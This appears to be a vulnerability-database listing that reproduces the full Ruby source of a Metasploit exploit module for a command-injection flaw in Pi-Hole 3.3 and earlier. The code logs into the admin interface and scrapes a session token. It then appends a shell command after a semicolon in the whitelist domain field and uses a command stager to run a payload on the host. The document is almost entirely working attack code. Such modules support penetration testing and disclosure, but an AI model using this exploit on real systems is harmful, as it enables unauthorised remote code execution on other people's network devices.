Pi-Hole Whitelist OS Command Execution

2020-05-14T03:30:01
ID MSF:EXPLOIT/UNIX/HTTP/PIHOLE_WHITELIST_EXEC
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

This exploits a command execution vulnerability in Pi-Hole <= 3.3. When adding a new domain to the whitelist, it is possible to chain a command to the domain that is run on the OS.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' =&gt; 'Pi-Hole Whitelist OS Command Execution',
        'Description' =&gt; %q{
          This exploits a command execution vulnerability in Pi-Hole &lt;= 3.3.
          When adding a new domain to the whitelist, it is possible to chain
          a command to the domain that is run on the OS.
        },
        'License' =&gt; MSF_LICENSE,
        'Author' =&gt;
          [
            'h00die', # msf module
            'Denis Andzakovic' # original PoC, discovery
          ],
        'References' =&gt;
          [
            ['URL', 'https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns']
          ],
        'Platform' =&gt; ['linux'],
        'Privileged' =&gt; false,
        'Arch' =&gt; [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' =&gt;
          [
            [ 'Automatic Target', {}]
          ],
        'DisclosureDate' =&gt; '2018-04-15',
        'DefaultTarget' =&gt; 0,
        'Notes' =&gt; {
          'Stability' =&gt; [CRASH_SAFE],
          'SideEffects' =&gt; [ARTIFACTS_ON_DISK],
          'Reliability' =&gt; [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),
        OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
      ]
    )
  end

  def login(cookie)
    vprint_status('Login required, attempting login.')
    send_request_cgi(
      'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'cookie' =&gt; cookie,
      'vars_get' =&gt; {
        'tab' =&gt; 'blocklists'
      },
      'vars_post' =&gt; {
        'pw' =&gt; datastore['PASSWORD']
      },
      'method' =&gt; 'POST'
    )
  end

  def execute_command(cmd, _opts = {})
    # get cookie
    res = send_request_cgi(
      'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'index.php')
    )
    cookie = res.get_cookies
    print_status("Using cookie: #{cookie}")

    # get token
    res = send_request_cgi(
      'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'list.php'),
      'cookie' =&gt; cookie,
      'vars_get' =&gt; {
        'l' =&gt; 'white'
      }
    )

    # check if we got hit by a login prompt
    if res && res.body.include?('Sign in to start your session')
      res = login(cookie)
    end

    if res && res.body.include?('Sign in to start your session')
      fail_with(Failure::BadConfig, 'Incorrect Password')
    end

    # &lt;div id="token" hidden&gt;f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=&lt;/div&gt;
    # may also include /
    %r{div id="token" hidden&gt;(?&lt;token&gt;[\w+=/]+)&lt;/div&gt;} =~ res.body

    unless token
      fail_with(Failure::UnexpectedReply, 'Unable to find token')
    end

    print_status("Using token: #{token}")

    send_request_cgi({
      'method' =&gt; 'POST',
      'ctype' =&gt; 'application/x-www-form-urlencoded',
      'cookie' =&gt; cookie,
      'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'add.php'),
      'vars_post' =&gt; {
        'domain' =&gt; "#{rand_text_alphanumeric(3..5)}.com;#{cmd}",
        'list' =&gt; 'white',
        'token' =&gt; token
      }
    })
  end

  def check
    begin
      res = send_request_cgi(
        'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'index.php'),
        'method' =&gt; 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200

      # vDev (HEAD, v3.2.1-0-g31dddd8-dirty)
      # v3.2.1
      %r{&lt;b&gt;Web Interface Version\s*&lt;/b&gt;\s*(vDev \(HEAD, )?v?(?&lt;version&gt;[\d\.]+)\)?.*&lt;b&gt;}m =~ res.body

      if version && Gem::Version.new(version) &lt; Gem::Version.new('3.3')
        vprint_good("Version Detected: #{version}")
        return CheckCode::Appears
      else
        vprint_bad("Version Detected: #{version}")
        return CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    CheckCode::Safe
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    begin
      execute_cmdstager(flavor: :bourne)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

  end
end